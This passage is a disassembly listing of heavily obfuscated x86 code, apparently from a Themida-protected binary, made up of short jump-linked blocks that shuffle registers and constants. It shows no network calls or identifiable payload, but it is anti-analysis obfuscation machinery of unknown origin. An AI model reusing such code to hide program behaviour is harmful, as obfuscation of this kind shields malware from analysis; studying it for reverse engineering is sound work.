		xor	ebp, [esp+2Ah+var_2C+2]
		jmp	loc_56E537
; ---------------------------------------------------------------------------


loc_5683AF:				; CODE XREF: sub_562ABA-312Aj
		add	ecx, 1
		sub	ecx, 0CB978BA3h
		sub	edx, 7C16597Dh
		sub	edx, 640F7B9Eh
		jmp	loc_562E5C
; ---------------------------------------------------------------------------


loc_5683C9:				; CODE XREF: sub_562ABA+64BFj
		add	ecx, 4
		push	30F3h
		mov	[esp+0], ebx
		mov	ebx, 2
		sub	ecx, 257C7695h
		jmp	loc_570975
; ---------------------------------------------------------------------------


loc_5683E7:				; CODE XREF: sub_562ABA+3107j
		inc	edx
		add	edx, 0FE17B20Fh
		sub	edi, edx
		mov	edx, [esp+18h+var_1A+2]
		add	esp, 4
		xchg	edi, [esp+14h+var_16+2]
		jmp	loc_56853D
; ---------------------------------------------------------------------------


loc_568401:				; CODE XREF: sub_562ABA+2FD4j
		xor	eax, edx
		pop	edx
		mov	ebx, 3E0B6F03h
		add	ebx, 33AE6F0Fh
		sub	ebx, eax
		jmp	loc_56EC73
; ---------------------------------------------------------------------------


loc_568416:				; CODE XREF: sub_562ABA+E42Aj
		xor	ebp, 63D71B7Ch
		jmp	loc_5679A0
; ---------------------------------------------------------------------------


loc_568421:				; CODE XREF: sub_562ABA+C65Ej
		pop	eax
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp-0Ah+arg_4+2]
		pop	esp
		jmp	loc_565445
; ---------------------------------------------------------------------------


loc_56843A:				; CODE XREF: sub_562ABA+6726j
		add	ecx, eax
		add	ecx, 70E7102Eh
		push	[esp-0Eh+arg_8+2]
		jmp	loc_569C37
; ---------------------------------------------------------------------------


loc_56844A:				; CODE XREF: sub_562ABA+E932j
		add	eax, 3B3914D8h
		add	eax, 273EF3B8h
		or	edx, eax
		pop	eax
		sub	edx, 7EFF7F5Bh
		jmp	loc_5726CC
; ---------------------------------------------------------------------------


loc_568462:				; CODE XREF: sub_562ABA+5698j
		pop	ebx
		sub	esp, 4
		mov	[esp+16h+var_16], ecx
		mov	ecx, 47F960E2h
		shl	ecx, 1
		jmp	loc_5607F5
; ---------------------------------------------------------------------------


loc_568475:				; CODE XREF: sub_562ABA+5FA2j
		shr	dh, 7
		not	dh
		inc	dh
		push	ebx
		mov	bl, 0AEh
		xor	bl, 1Dh
		jmp	loc_566DB9
; ---------------------------------------------------------------------------


loc_568487:				; CODE XREF: sub_562ABA+FC45j
		pop	ecx
		xchg	edi, [esp+16h+var_16]
		pop	esp
		jmp	loc_55F958
; ---------------------------------------------------------------------------


loc_568491:				; CODE XREF: sub_562ABA+4138j
		mov	[esp+3Eh+var_3E], ebp
		mov	ebp, esp
		push	edx
		jmp	loc_566023
; ---------------------------------------------------------------------------


loc_56849C:				; CODE XREF: sub_562ABA+9D7Dj
		add	esp, 4
		xor	edi, [esp+3Eh+var_3E]
		jmp	loc_56F811
; ---------------------------------------------------------------------------
		lodsb
		push	edx
		jmp	loc_56D90B
; ---------------------------------------------------------------------------


loc_5684B1:				; CODE XREF: sub_562ABA+DC50j
		mov	ecx, edi
		pop	edi
		shl	ecx, 4
		xor	ecx, 565F00A3h
		shl	ecx, 7
		shl	ecx, 1
		xor	ecx, 807B2889h
		mov	eax, ecx
		pop	ecx
		add	dword ptr [esp+0Ch], 47F9574Eh
		sub	[esp+0Ch], eax
		sub	dword ptr [esp+0Ch], 47F9574Eh
		pop	eax
		pop	eax
		add	dword ptr [esp+4], 69480D57h
		jmp	loc_567EE4
; ---------------------------------------------------------------------------


loc_5684EE:				; CODE XREF: sub_562ABA+ECF7j
		mov	[esp+32h+var_32], ebx
		mov	ebx, 5C601EEDh
		dec	ebx
		push	eax
		mov	eax, 5A34196Dh
		sub	eax, 99809398h
		add	ebx, eax
		pop	eax
		sub	edx, ebx
		jmp	loc_57024D
; ---------------------------------------------------------------------------


loc_56850C:				; CODE XREF: sub_562ABA+79CAj
		mov	edi, esp
		jmp	loc_56F277
; ---------------------------------------------------------------------------


loc_568513:				; CODE XREF: sub_562ABA+364Cj
		mov	edi, 498A083Bh
		not	edi
		push	ecx
		push	edx
		push	eax
		mov	eax, 23A97C46h
		mov	edx, eax
		jmp	loc_5671FB
; ---------------------------------------------------------------------------


loc_568529:				; CODE XREF: sub_562ABA+DDDBj
		mov	ecx, [esp+3Ch+var_3E+2]
		add	esp, 4
		sub	ebp, 4
		xchg	ebp, [esp+38h+var_3A+2]
		jmp	loc_568685
; ---------------------------------------------------------------------------


loc_56853D:				; CODE XREF: sub_562ABA+5942j
		pop	esp
		mov	[esp+10h+var_12+2], ebp
		jmp	loc_562BA4
; ---------------------------------------------------------------------------


loc_568546:				; CODE XREF: sub_562ABA+12A7j
		mov	[esp+0], ebp
		mov	ebp, 15C46E44h
		or	edi, ebp
		pop	ebp
		jmp	loc_565743
; ---------------------------------------------------------------------------


loc_568556:				; CODE XREF: sub_562ABA+2C52j
		sub	ecx, 691E7FE4h
		jmp	loc_5616D3
; ---------------------------------------------------------------------------


loc_568561:				; CODE XREF: sub_562ABA+29j
		mov	cl, 7Bh
		dec	cl
		neg	cl
		push	24BCh
		mov	[esp+32h+var_32], eax
		mov	ah, 0DEh
		inc	ah
		or	ah, 0F1h
		sub	ah, 13h
		xor	ah, 0B1h
		xor	ah, 0E9h
		inc	ah
		sub	ah, 31h
		not	ah
		add	ah, 23h
		and	cl, ah
		push	[esp+32h+var_32]
		pop	eax
		jmp	loc_567828
; ---------------------------------------------------------------------------


loc_568594:				; CODE XREF: sub_562ABA+68E5j
		pop	esp
		mov	[esp+0], dx
		push	11F2h
		mov	[esp+32h+var_32], ecx
		push	ebx
		jmp	loc_562F4E
; ---------------------------------------------------------------------------


loc_5685A7:				; CODE XREF: sub_562ABA+19C5j
		jmp	loc_55E09F
; ---------------------------------------------------------------------------


loc_5685AC:				; CODE XREF: sub_562ABA+140j
		add	ebx, 49B668F4h
		xor	ebx, 47D9E00Ch
		jmp	loc_566631
; ---------------------------------------------------------------------------


loc_5685BD:				; CODE XREF: sub_562ABA-4426j
		mov	edx, esi
		pop	esi
		mov	ecx, [esp+16h+var_16]
		add	esp, 4
		jmp	loc_5699AA
; ---------------------------------------------------------------------------


loc_5685CB:				; CODE XREF: sub_562ABA+1168j
		push	2265h
		mov	[esp+32h+var_32], esi
		mov	esi, 1CC92FC8h
		and	esi, 0B7E5E60h
		sub	esi, 314A56C2h
		neg	esi
		xor	esi, 7E2A6592h
		sub	esi, 57282D0Ch
		add	ecx, esi
		mov	esi, [esp+32h+var_32]
		add	esp, 4
		xchg	ecx, [esp+0]
		pop	esp
		jmp	loc_560EB0
; ---------------------------------------------------------------------------


loc_568606:				; CODE XREF: sub_562ABA+EEA0j
		sub	ecx, 792F4A8Dh
		jmp	loc_566003
; ---------------------------------------------------------------------------


loc_568611:				; CODE XREF: sub_55FCA5+2586j
		push	ebx
		jmp	loc_56A4E8
; ---------------------------------------------------------------------------


loc_568617:				; CODE XREF: sub_562ABA+1C4Dj
		add	edi, 4
		push	ecx
		mov	ecx, 4
		add	edi, ecx
		pop	ecx
		jmp	loc_55FC52
; ---------------------------------------------------------------------------


loc_56862B:				; CODE XREF: sub_562ABA+A01j
		push	edx
		mov	edx, 6DF70A2h
		jmp	loc_55E64E
; ---------------------------------------------------------------------------


loc_568636:				; CODE XREF: sub_562ABA+AEFDj
		add	ebx, esi
		pop	esi
		xor	edx, ebx
		mov	ebx, [esp+0Ch+var_C]
		jmp	loc_570736
; ---------------------------------------------------------------------------


loc_568643:				; CODE XREF: sub_55FCA5:loc_55FFFFj
		add	[esp+0Ch+var_8], eax
		jmp	loc_56C448
; ---------------------------------------------------------------------------


loc_56864C:				; CODE XREF: sub_562ABA+99B5j
		add	bl, dl
		sub	esp, 4
		mov	[esp+10h+var_12+2], ecx
		jmp	loc_56DCD7
; ---------------------------------------------------------------------------


loc_56865C:				; CODE XREF: sub_562ABA-1883j
		push	eax
		mov	ah, 0E6h
		not	ah
		sub	ah, 0FFh
		sub	ah, 41h
		sub	dl, ah
		pop	eax
		push	ecx
		mov	ch, 7
		jmp	loc_56237F
; ---------------------------------------------------------------------------


loc_568672:				; CODE XREF: sub_562ABA+7BE3j
		sub	esp, 4
		jmp	loc_56C2FD
; ---------------------------------------------------------------------------


loc_56867D:				; CODE XREF: sub_562ABA-3C2Fj
		pop	ecx
		shl	edx, 1
		jmp	loc_56889F
; ---------------------------------------------------------------------------


loc_568685:				; CODE XREF: sub_562ABA+5A7Ej
		pop	esp
		mov	[esp+34h+var_36+2], ebx
		mov	ebx, 449725B5h
		push	0BB68DA4Ch
		jmp	loc_568CF1
; ---------------------------------------------------------------------------


loc_568698:				; CODE XREF: sub_562ABA+AD22j
		push	ebp
		push	676C70E3h
		pop	ebp
		xor	ebp, 1894692Fh
		jmp	loc_56195D
; ---------------------------------------------------------------------------


loc_5686AA:				; CODE XREF: sub_562ABA+72F9j
		push	4CEBh
		mov	[esp+40h+var_42+2], esi
		mov	esi, 4
		jmp	loc_55FAC0
; ---------------------------------------------------------------------------


loc_5686BC:				; CODE XREF: sub_562ABA-3A01j
		add	esp, 4
		add	[esp+2Ah+var_2C+2], eax
		push	ebx
		mov	ebx, 23DA7555h
		sub	[esp+2Eh+var_2C+2], ebx
		pop	ebx
		jmp	loc_569A64
; ---------------------------------------------------------------------------


loc_5686D2:				; CODE XREF: sub_562ABA+F96Bj
		pop	esi
		add	edi, 4
		jmp	loc_56C2A7
; ---------------------------------------------------------------------------


loc_5686DE:				; CODE XREF: sub_562ABA-17C3j
		mov	eax, esp
		jmp	loc_56EF02
; ---------------------------------------------------------------------------


loc_5686E5:				; CODE XREF: Themida_:00572A82j
		mov	esi, [esp+2+var_4+2]
		add	esp, 4
		push	edx
		sub	esp, 4
		jmp	loc_55F9B1
; ---------------------------------------------------------------------------


loc_5686F7:				; CODE XREF: sub_562ABA-24E7j
		push	esi
		mov	esi, 7E496DA5h
		inc	esi
		jmp	loc_565116
; ---------------------------------------------------------------------------


loc_568703:				; CODE XREF: sub_562ABA+F0D8j
		add	ebx, edx
		pop	edx
		sub	esp, 4
		mov	[esp+1Eh+var_1E], edx
		push	esi
		jmp	loc_564BB8
; ---------------------------------------------------------------------------


loc_568712:				; CODE XREF: sub_562ABA-11F0j
		add	ebp, 12E435A8h
		shl	ebp, 5
		add	ebp, 0A2E86104h
		push	ebp
		jmp	loc_567593
; ---------------------------------------------------------------------------


loc_568727:				; CODE XREF: sub_562ABA+7A62j
		xor	esi, 1A2FF39h
		jmp	loc_56AD6F
; ---------------------------------------------------------------------------


loc_568732:				; CODE XREF: sub_562ABA+E11Dj
		add	esp, 4
		sub	edi, 79225280h
		sub	edi, 335E5BD8h
		add	edi, 50DA6511h
		add	edi, ebp
		jmp	loc_568EDB
; ---------------------------------------------------------------------------


loc_56874E:				; CODE XREF: sub_562ABA-1ACj
		add	ch, bh
		pop	ebx
		neg	ch
		push	ax
		mov	al, dl
		mov	dl, ch
		mov	ch, al
		pop	ax
		not	dl
		xchg	dl, ch
		push	edx
		push	eax
		push	ecx
		jmp	loc_562C44
; ---------------------------------------------------------------------------


loc_568769:				; CODE XREF: sub_562ABA+6F2Bj
		push	esp
		pop	ecx
		add	ecx, 4
		push	edx
		mov	edx, 4
		jmp	loc_565D3B
; ---------------------------------------------------------------------------


loc_56877C:				; CODE XREF: sub_562ABA+9744j
		xor	esi, [esp+3Eh+var_3E]
		pop	esp
		jmp	loc_5712C1
; ---------------------------------------------------------------------------


loc_568785:				; CODE XREF: sub_562ABA-740j
		pop	esi
		push	ebx
		mov	ebx, 4
		add	edi, ebx
		pop	ebx
		jmp	loc_56CC7C
; ---------------------------------------------------------------------------


loc_568794:				; CODE XREF: sub_562ABA+265Fj
		neg	esi
		shr	esi, 1
		jmp	loc_56F2AF
; ---------------------------------------------------------------------------


loc_56879D:				; CODE XREF: sub_562ABA+77D7j
		push	0D581B65h
		jmp	loc_561AD1
; ---------------------------------------------------------------------------


loc_5687A7:				; CODE XREF: sub_562ABA+F5D4j
		mov	[esp+36h+var_36], esi
		mov	esi, 5C783654h
		jmp	loc_56F263
; ---------------------------------------------------------------------------


loc_5687B4:				; CODE XREF: sub_562ABA+3531j
		mov	ebp, edx
		jmp	loc_56B143
; ---------------------------------------------------------------------------


loc_5687BB:				; CODE XREF: sub_562ABA+D9C2j
		add	edx, esi
		pop	esi
		add	edx, 204D3784h
		add	edx, ecx
		sub	edx, 204D3784h
		sub	edx, 6DF131C8h
		mov	ecx, [esp+0]
		push	ebp
		sub	esp, 4
		jmp	loc_5700A8
; ---------------------------------------------------------------------------


loc_5687DE:				; CODE XREF: sub_562ABA+CE86j
		or	dl, al
		jmp	loc_55F607
; ---------------------------------------------------------------------------


loc_5687E5:				; CODE XREF: sub_562ABA+193j
		pop	eax
		sub	dl, 8Dh
		add	ch, dl
		mov	edx, [esp-12h+arg_C+2]
		jmp	loc_561178
; ---------------------------------------------------------------------------


loc_5687F3:				; CODE XREF: sub_562ABA+E01Bj
		mov	ebp, 3896CFAh
		push	edx
		mov	edx, 54F12A78h
		inc	edx
		jmp	loc_563120
; ---------------------------------------------------------------------------


loc_568804:				; CODE XREF: sub_562ABA-723j
		xor	[esp+1Eh+var_1E], esi
		xor	esi, [esp+1Eh+var_1E]
		pop	esp


loc_56880B:				; CODE XREF: sub_562ABA+6FF8j
					; sub_562ABA+DC60j
		push	276h
		mov	[esp+1Eh+var_1E], ebx
		jmp	loc_570632
; ---------------------------------------------------------------------------
		mov	cx, word ptr [esp+1Eh+var_1E]
		jmp	loc_567431
; ---------------------------------------------------------------------------


loc_568821:				; CODE XREF: sub_562ABA+807Cj
		pop	ecx
		push	6F5Eh
		mov	[esp+1Eh+var_1E], ebx
		mov	ebx, 51D50FA2h
		jmp	loc_56740E
; ---------------------------------------------------------------------------


loc_568834:				; CODE XREF: sub_562ABA+AFA7j
		mov	ebp, 24437798h
		xor	ebp, 32757807h
		xchg	edi, ebp
		jmp	loc_56DDD2
; ---------------------------------------------------------------------------


loc_568846:				; CODE XREF: sub_562ABA-91Ej
		pop	ebp
		sub	edx, eax
		xchg	eax, edx
		mov	edx, [esp+1Ah+var_1A]
		jmp	loc_567D74
; ---------------------------------------------------------------------------


loc_568852:				; CODE XREF: sub_562ABA+B5D6j
		add	ecx, 7DBDACF0h
		sub	esi, ecx
		jmp	loc_55E3AF
; ---------------------------------------------------------------------------
		mov	ax, word ptr [esp+1Ah+var_1A]
		jmp	loc_56F9E0
; ---------------------------------------------------------------------------


loc_568868:				; CODE XREF: sub_562ABA+3AC2j
		sub	edx, ebx
		sub	edx, 3B644136h
		pop	ebx
		sub	edx, eax
		add	edx, 22B2654Ch
		jmp	loc_571BA9
; ---------------------------------------------------------------------------


loc_56887E:				; CODE XREF: sub_562ABA+B9C7j
		add	esi, 33EF572Bh
		push	eax
		mov	eax, 34D82D28h
		add	eax, 703E10C4h
		jmp	loc_5689AB
; ---------------------------------------------------------------------------


loc_568894:				; CODE XREF: sub_562ABA+BCD2j
		or	ebx, 21702C8Ah
		jmp	loc_56661C
; ---------------------------------------------------------------------------


loc_56889F:				; CODE XREF: sub_562ABA+5BC6j
		push	3D34h
		mov	[esp+36h+var_36], edi
		mov	edi, 0
		sub	edi, edx
		xor	edx, edi
		xor	edi, edx
		xor	edx, edi
		pop	edi
		shr	edx, 6
		push	ecx
		mov	ecx, 2DF41481h
		sub	ecx, 0C8F4B10Dh
		add	edx, ecx
		jmp	loc_560330
; ---------------------------------------------------------------------------


loc_5688CB:				; CODE XREF: sub_562ABA+71C2j
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp+3Ah+var_3A]
		pop	esp
		pop	bx
		push	eax
		mov	ah, 0A2h
		jmp	loc_5681CC
; ---------------------------------------------------------------------------


loc_5688E4:				; CODE XREF: sub_562ABA+99EAj
		and	ebp, 4A2142B2h
		push	ebx
		push	ecx
		push	185D701Fh
		pop	ecx
		sub	ecx, 0F64303BAh
		mov	ebx, ecx
		pop	ecx
		shr	ebx, 3
		push	3756h
		mov	[esp+40h+var_42+2], ecx
		mov	ecx, 4E632693h
		sub	ebx, ecx
		pop	ecx
		dec	ebx
		jmp	loc_56F05A
; ---------------------------------------------------------------------------


loc_568914:				; CODE XREF: sub_562ABA+AB6Bj
		push	edi
		not	[esp+40h+var_42+2]
		pop	edi
		xor	edi, 0B89AEA8Dh
		or	eax, edi
		pop	edi
		jmp	loc_563B58
; ---------------------------------------------------------------------------


loc_568927:				; CODE XREF: sub_562ABA-6FBj
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_571403
; ---------------------------------------------------------------------------


loc_568935:				; CODE XREF: sub_562ABA+20B1j
		pop	edi
		add	eax, 3CF4AE01h
		mov	esi, eax
		jmp	loc_5645F4
; ---------------------------------------------------------------------------


loc_568942:				; CODE XREF: sub_562ABA+C092j
		push	edi
		mov	edi, 7E71745Ch
		sub	edi, 5CB342F4h
		jmp	loc_56E406
; ---------------------------------------------------------------------------


loc_568953:				; CODE XREF: sub_562ABA+D070j
		xor	ebx, [esp+0]
		mov	esp, [esp+0]
		jmp	loc_56BCE2
; ---------------------------------------------------------------------------


loc_56895E:				; CODE XREF: sub_56019B+3Aj
		add	esp, 4
		jmp	loc_56C423
; ---------------------------------------------------------------------------


loc_568969:				; CODE XREF: sub_562ABA+F97Aj
		add	al, ch
		mov	ecx, [esp+0Ah+var_C+2]
		push	ebp
		push	esp
		pop	ebp
		add	ebp, 4
		push	eax
		mov	eax, 4
		add	ebp, eax
		pop	eax
		xchg	ebp, [esp+0]
		pop	esp
		xor	bl, al
		movzx	eax, al
		pop	dword ptr [edi+eax*4]
		jmp	loc_55E09F
; ---------------------------------------------------------------------------


loc_568991:				; CODE XREF: sub_562ABA+D44Cj
		add	edx, ebx
		sub	edx, 5EE13E74h
		push	ecx
		jmp	loc_56C269
; ---------------------------------------------------------------------------


loc_56899F:				; CODE XREF: sub_562ABA+C217j
		push	ebx
		sub	esp, 4
		jmp	loc_56B7C4
; ---------------------------------------------------------------------------


loc_5689AB:				; CODE XREF: sub_562ABA+5DD5j
		or	eax, 2CDD7333h
		xor	eax, 24801703h
		jmp	loc_56F3AC
; ---------------------------------------------------------------------------


loc_5689BA:				; CODE XREF: sub_562ABA+155Aj
		pop	edx
		sub	esi, 70B559D9h
		add	ebp, esi
		push	dword ptr [esp+0]
		pop	esi
		add	esp, 4
		push	eax
		jmp	loc_56233B
; ---------------------------------------------------------------------------


loc_5689D0:				; CODE XREF: sub_562ABA+FA1Ej
		push	edx
		push	edi
		mov	edi, 6D705FCEh
		jmp	loc_56490F
; ---------------------------------------------------------------------------


loc_5689DC:				; CODE XREF: sub_562ABA+8227j
		and	esi, offset byte_4A45B7
		add	esi, 0D522ADFh
		push	ebx
		mov	ebx, esi
		mov	edx, ebx
		jmp	loc_570ADA
; ---------------------------------------------------------------------------


loc_5689F2:				; CODE XREF: sub_562ABA-4C1j
		add	edi, 2CEC111Bh
		push	ebx
		mov	ebx, 223D637Eh
		add	ebx, 5CBD01B0h
		sub	edi, ebx
		pop	ebx
		jmp	loc_5623ED
; ---------------------------------------------------------------------------


loc_568A0C:				; CODE XREF: sub_562ABA+DE26j
		mov	edx, 33F82B31h
		shl	edx, 7
		jmp	loc_564585
; ---------------------------------------------------------------------------


loc_568A19:				; CODE XREF: sub_562ABA+D291j
		add	ebx, 1
		add	ebx, 73B671ECh
		or	esi, ebx
		pop	ebx
		push	edi
		mov	edi, 44BF709Bh
		add	esi, edi
		pop	edi
		xor	eax, esi
		push	[esp+1Ah+var_1A]
		jmp	loc_56E119
; ---------------------------------------------------------------------------


loc_568A3B:				; CODE XREF: sub_562ABA+566Cj
		push	1691h
		mov	[esp+22h+var_22], edx
		mov	dl, 0BDh
		push	ebx
		push	edx
		mov	dl, 97h
		mov	bl, 0EDh
		sub	bl, 31h
		sub	bl, dl
		add	bl, 31h
		pop	edx
		add	bl, 0FFh
		not	bl
		push	edx
		mov	dh, 0F4h
		jmp	loc_568475
; ---------------------------------------------------------------------------


loc_568A61:				; CODE XREF: sub_562ABA+5720j
		pop	eax
		sub	ecx, 2070108Fh
		and	eax, ecx
		push	[esp+16h+var_16]
		push	[esp+1Ah+var_1A]
		push	[esp+1Eh+var_1E]
		pop	ecx
		add	esp, 4
		add	esp, 4
		sub	esp, 4
		mov	[esp+1Ah+var_1A], edi
		sub	esp, 4
		mov	[esp+1Eh+var_1E], esp
		add	[esp+1Eh+var_1E], 4
		jmp	loc_562371
; ---------------------------------------------------------------------------


loc_568A95:				; CODE XREF: sub_55FCA5+4C3j
		push	esi
		push	edx
		mov	edx, 0FFF29AD6h
		mov	esi, edx
		mov	edx, [esp+26h+var_28+2]
		add	esp, 4
		mov	ebx, esi
		pop	esi
		add	eax, ebx
		jmp	loc_5602FA
; ---------------------------------------------------------------------------


loc_568AAE:				; CODE XREF: sub_562ABA+E18Dj
		pop	esi
		sub	ebx, eax
		mov	eax, [esp+1Ah+var_1A]
		add	esp, 4
		pop	dword ptr [eax]
		jmp	loc_55E09F
; ---------------------------------------------------------------------------


loc_568AC1:				; CODE XREF: sub_562ABA+A918j
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp+12h+var_12]
		mov	esp, [esp+12h+var_12]


loc_568AD0:				; CODE XREF: sub_562ABA+EE39j
		push	7435h
		mov	[esp+16h+var_16], ecx
		push	ebx
		add	[esp+1Ah+var_1A], 57BF6CA7h
		mov	ecx, [esp+1Ah+var_1A]
		add	esp, 4
		sub	ecx, 57BF6CA7h
		push	ecx
		pop	eax
		push	[esp+16h+var_16]
		pop	ecx
		push	ebx
		mov	ebx, esp
		jmp	loc_57287F
; ---------------------------------------------------------------------------
		push	[esp+1Ah+var_1A]
		jmp	loc_56C316
; ---------------------------------------------------------------------------


loc_568B02:				; CODE XREF: sub_562ABA+7C88j
		shl	edx, 6
		jmp	loc_570232
; ---------------------------------------------------------------------------


loc_568B0A:				; CODE XREF: sub_562ABA+1441j
		and	eax, ecx
		push	[esp+2+var_4+2]
		jmp	loc_5726BC
; ---------------------------------------------------------------------------


loc_568B14:				; CODE XREF: sub_562ABA+806Fj
		pop	edi
		pop	[esp+2+var_4+2]
		pop	esp
		jmp	loc_56A708
; ---------------------------------------------------------------------------


loc_568B1E:				; CODE XREF: sub_562ABA+752Bj
		push	46D0h
		jmp	loc_5723D0
; ---------------------------------------------------------------------------


loc_568B28:				; CODE XREF: sub_562ABA+99Ej
		mov	ebx, 7C2D61F3h
		push	edx
		mov	edx, 37BB1899h
		xor	ebx, edx
		pop	edx
		not	ebx
		and	ebx, 71F64CDCh
		jmp	loc_5667F0
; ---------------------------------------------------------------------------


loc_568B43:				; CODE XREF: sub_562ABA-36D2j
		sub	cl, 47h
		add	cl, ah
		add	cl, 47h
		pop	eax
		push	ecx
		add	byte ptr [esp+1Eh+var_1E], 0FFh
		mov	ecx, [esp+1Eh+var_1E]
		jmp	loc_569AF7
; ---------------------------------------------------------------------------


loc_568B59:				; CODE XREF: sub_562ABA+EC02j
		neg	ebp
		and	ebp, 7CEF7079h
		dec	ebp
		add	ebp, 3FCB327Ch
		sub	edx, ebp
		pop	ebp
		pop	esi
		push	eax
		push	ecx
		mov	ecx, 1DAD2E9Fh
		push	esi
		mov	esi, 7B2F4990h
		sub	ecx, esi
		pop	esi
		dec	ecx
		xor	ecx, 3776180Fh
		or	ecx, 1EBB5A5Bh
		not	ecx
		xor	ecx, 604400A0h
		jmp	loc_56DF5B
; ---------------------------------------------------------------------------


loc_568B96:				; CODE XREF: sub_562ABA+537Aj
		push	[esp+3Ah+var_3A]
		pop	ecx
		jmp	loc_561EB3
; ---------------------------------------------------------------------------


loc_568B9F:				; CODE XREF: sub_562ABA+DB88j
		mov	edx, 4
		sub	edi, 27134106h
		add	edi, edx
		jmp	loc_56D369
; ---------------------------------------------------------------------------


loc_568BB1:				; CODE XREF: sub_562ABA+ADADj
		push	esi
		mov	esi, 188754A2h
		sub	esi, 29491859h
		or	esi, 5E1A71B8h
		shr	esi, 4
		neg	esi
		xor	esi, 0E177C988h
		xor	ecx, esi
		jmp	loc_566FF5
; ---------------------------------------------------------------------------


loc_568BD5:				; CODE XREF: sub_562ABA+7BC5j
		add	[esp+3Eh+var_3E], 4
		pop	esi
		add	esi, 4
		push	69CFh
		mov	[esp+3Eh+var_3E], eax
		jmp	loc_565DAA
; ---------------------------------------------------------------------------


loc_568BED:				; CODE XREF: sub_562ABA+C04Bj
		xor	edx, edi
		or	edx, 1EEA0E1Eh
		sub	edx, 1
		push	ebx
		mov	ebx, 0D28CC11Fh
		sub	edx, ebx
		pop	ebx
		sub	edi, 220458B5h
		sub	edi, edx
		jmp	loc_567E10
; ---------------------------------------------------------------------------


loc_568C0E:				; CODE XREF: sub_562ABA+11D1j
		not	eax
		add	eax, 2F837A17h
		neg	eax
		shr	eax, 6
		xor	eax, 49526DEFh
		jmp	loc_56D5E1
; ---------------------------------------------------------------------------


loc_568C24:				; DATA XREF: Themida_:0055DDE0o
		push	dword ptr [edi+38h]
		push	[esp+3Eh+var_3E]
		pop	ecx
		sub	esp, 4
		jmp	loc_566B60
; ---------------------------------------------------------------------------


loc_568C33:				; CODE XREF: sub_562ABA-34D6j
		inc	edi
		and	edi, 4551AA8h
		not	edi
		jmp	loc_56EA27
; ---------------------------------------------------------------------------


loc_568C41:				; CODE XREF: sub_562ABA+A58Ej
		add	[esp-18h+arg_18], esi
		pop	esi
		jmp	loc_571338
; ---------------------------------------------------------------------------


loc_568C4B:				; CODE XREF: sub_562ABA-9B5j
		shr	edx, 1
		jmp	loc_560E87
; ---------------------------------------------------------------------------


loc_568C52:				; CODE XREF: sub_562ABA-943j
		sub	esp, 4
		jmp	loc_56D722
; ---------------------------------------------------------------------------


loc_568C5A:				; CODE XREF: sub_562ABA-4564j
		add	esp, 4
		push	eax
		jmp	loc_560EE5
; ---------------------------------------------------------------------------


loc_568C66:				; CODE XREF: sub_562ABA+9EEBj
		add	edx, 210F225h
		xor	edx, 59322161h
		push	ebp
		mov	ebp, 1
		add	edx, ebp
		pop	ebp
		add	edx, 0F5A548Ch
		push	esi
		mov	esi, 598F5B35h
		jmp	loc_562DF9
; ---------------------------------------------------------------------------


loc_568C8C:				; CODE XREF: sub_562ABA+484Ej
		push	[esp+4Eh+var_4E]
		push	[esp+52h+var_52]
		jmp	loc_5674BF
; ---------------------------------------------------------------------------


loc_568C97:				; CODE XREF: sub_562ABA-1B53j
		add	edi, esi
		jmp	loc_5654D6
; ---------------------------------------------------------------------------


loc_568C9E:				; CODE XREF: sub_562ABA+A27j
		sub	esp, 4
		jmp	loc_55F740
; ---------------------------------------------------------------------------


loc_568CA9:				; CODE XREF: sub_562ABA+AC50j
		inc	ah
		jmp	loc_569EF5
; ---------------------------------------------------------------------------


loc_568CB0:				; CODE XREF: sub_562ABA+4FB1j
		add	edx, ebx
		jmp	loc_566CCD
; ---------------------------------------------------------------------------


loc_568CB7:				; CODE XREF: sub_562ABA+C8C4j
		push	eax
		mov	eax, 5FD17EFEh
		add	ebx, eax
		pop	eax
		push	[esp+12h+var_12]
		push	[esp+16h+var_16]
		pop	eax
		sub	esp, 4
		mov	[esp+1Ah+var_1A], edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_55FBD5
; ---------------------------------------------------------------------------


loc_568CDD:				; CODE XREF: sub_562ABA+4594j
		add	eax, ebx
		pop	ebx
		xchg	eax, [esp+22h+var_22]
		jmp	loc_56B5B0
; ---------------------------------------------------------------------------


loc_568CE8:				; CODE XREF: sub_562ABA-3E4Aj
		pop	edx
		xor	cl, bh
		pop	ebx
		jmp	loc_571E67
; ---------------------------------------------------------------------------


loc_568CF1:				; CODE XREF: sub_562ABA+5BD9j
		pop	edx
		sub	edx, 134D1164h
		sub	edx, 6D054E8h
		sub	edx, 35AB5489h
		add	edx, ebx
		add	edx, 35AB5489h
		add	edx, 6D054E8h
		push	edi
		mov	edi, 134D1164h
		add	edx, edi
		pop	edi
		mov	ebx, [esp+34h+var_36+2]
		jmp	loc_5634EC
; ---------------------------------------------------------------------------


loc_568D23:				; CODE XREF: sub_562ABA+1519j
		push	[esp+12h+var_12]
		pop	ebp
		add	esp, 4
		jmp	loc_56EFB0
; ---------------------------------------------------------------------------


loc_568D2F:				; CODE XREF: sub_562ABA+83A5j
		add	dword ptr [esp+0], 4
		pop	dword ptr [esp+0]
		add	[esp+0Ah+var_C+2], 4
		jmp	loc_5726EB
; ---------------------------------------------------------------------------


loc_568D42:				; CODE XREF: sub_562ABA+DF3Bj
		add	ebx, edi
		push	edi
		mov	edi, 5FED07E8h
		jmp	loc_55EED8
; ---------------------------------------------------------------------------


loc_568D4F:				; CODE XREF: sub_562ABA+71CBj
		mov	edx, 4FF878B7h
		sub	esi, edx
		pop	edx
		pop	ebx
		jmp	loc_56B670
; ---------------------------------------------------------------------------


loc_568D5D:				; CODE XREF: sub_562ABA+FE1Bj
		add	eax, 4
		push	54B0h
		mov	[esp+0Ah+var_C+2], ecx
		jmp	loc_5635B7
; ---------------------------------------------------------------------------


loc_568D6F:				; CODE XREF: sub_562ABA+8234j
		push	ebx
		sub	esp, 4
		mov	[esp+12h+var_12], esi
		push	79E83B10h
		jmp	loc_572BBA
; ---------------------------------------------------------------------------


loc_568D83:				; CODE XREF: sub_562ABA+AC80j
		mov	ecx, [esp+16h+var_16]
		push	199Bh
		mov	[esp+1Ah+var_1A], edi
		jmp	loc_56C03C
; ---------------------------------------------------------------------------


loc_568D93:				; CODE XREF: sub_55FCA5+13Bj
		shl	cl, 6
		xor	cl, 4Bh
		and	cl, 30h
		push	edx
		mov	dh, 0D8h
